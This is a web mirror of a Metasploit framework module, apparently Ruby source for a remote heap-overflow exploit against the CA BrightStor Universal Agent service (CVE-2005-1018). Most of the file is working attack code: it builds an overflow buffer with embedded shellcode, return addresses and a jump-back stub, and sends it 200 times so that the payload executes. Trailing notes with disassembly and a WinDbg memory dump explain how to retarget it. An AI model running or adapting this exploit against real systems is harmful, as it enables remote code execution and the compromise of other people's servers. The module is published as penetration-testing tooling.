CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/universal_agent.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA BrightStor Universal Agent Overflow',
14
'Description' => %q{
15
This module exploits a convoluted heap overflow in the CA
16
BrightStor Universal Agent service. Triple userland
17
exception results in heap growth and execution of
18
dereferenced function pointer at a specified address.
19
},
20
'Author' => [ 'hdm' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2005-1018'],
25
[ 'OSVDB', '15471' ],
26
[ 'BID', '13102'],
27
[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],
28
],
29
'Privileged' => true,
30
'Payload' =>
31
{
32
# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)
33
'Space' => 164,
34
'BadChars' => "\x00",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => %w{ win },
38
'Targets' =>
39
[
40
[
41
'Magic Heap Target #1',
42
{
43
'Platform' => 'win',
44
'Ret' => 0x01625c44, # We grow to our own return address
45
},
46
],
47
],
48
'DisclosureDate' => '2005-04-11',
49
'DefaultTarget' => 0))
50
51
register_options(
52
[
53
Opt::RPORT(6050)
54
])
55
end
56
57
def exploit
58
59
print_status("Trying target #{target.name}...")
60
61
# The server reverses four bytes starting at offset 0xa5 :0
62
63
# Create the overflow string
64
boom = 'X' * 1024
65
66
# Required field to trigger the fault
67
boom[248, 2] = [1000].pack('V')
68
69
# The shellcode, limited to 250 bytes (no nulls)
70
boom[256, payload.encoded.length] = payload.encoded
71
72
# This should point to itself
73
boom[576, 4] = [target.ret].pack('V')
74
75
# This points to the code below
76
boom[580, 4] = [target.ret + 8].pack('V')
77
78
# We have 95 bytes, use it to hop back to shellcode
79
boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"
80
81
# Stick the protocol header in front of our request
82
req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom
83
84
# We keep making new connections and triggering the fault until
85
# the heap is grown to encompass our known return address. Once
86
# this address has been allocated and filled, each subsequent
87
# request will result in our shellcode being executed.
88
89
1.upto(200) {|i|
90
connect
91
print_status("Sending request #{i} of 200...") if (i % 10) == 0
92
sock.put(req)
93
disconnect
94
95
# Give the process time to recover from each exception
96
select(nil,nil,nil,0.1);
97
}
98
99
handler
100
end
101
end
102
103
104
__END__
105
012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]
106
012a0d97 83c404 add esp,0x4
107
012a0d9a 85c9 test ecx,ecx
108
012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)
109
012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????
110
012a0da0 6a01 push 0x1
111
012a0da2 ff5204 call dword ptr [edx+0x4]
112
113
Each request will result in another chunk being allocated, the exception
114
causes these chunks to never be freed. The large chunk size allows us to
115
predict the location of our buffer and grow our buffer to where we need it.
116
117
If these addresses do not match up, run this exploit, then attach with WinDbg:
118
119
> s 0 Lfffffff 0x44 0x5c 0x61 0x01
120
121
Figure out the pattern, replace the return address, restart the service,
122
and run it through again. Only tested on WinXP SP1
123
124
011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
125
011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
126
011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
127
011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
128
011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
129
01205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
130
[ snip ]
131
01605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
132
01615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
133
01625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
134
01635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
135
01645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
136
01655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
137
01665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
138
01675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
139
01685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
140
01695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
141
016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
142
016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
143
016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
144
016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
145
01725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
146
017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
147
148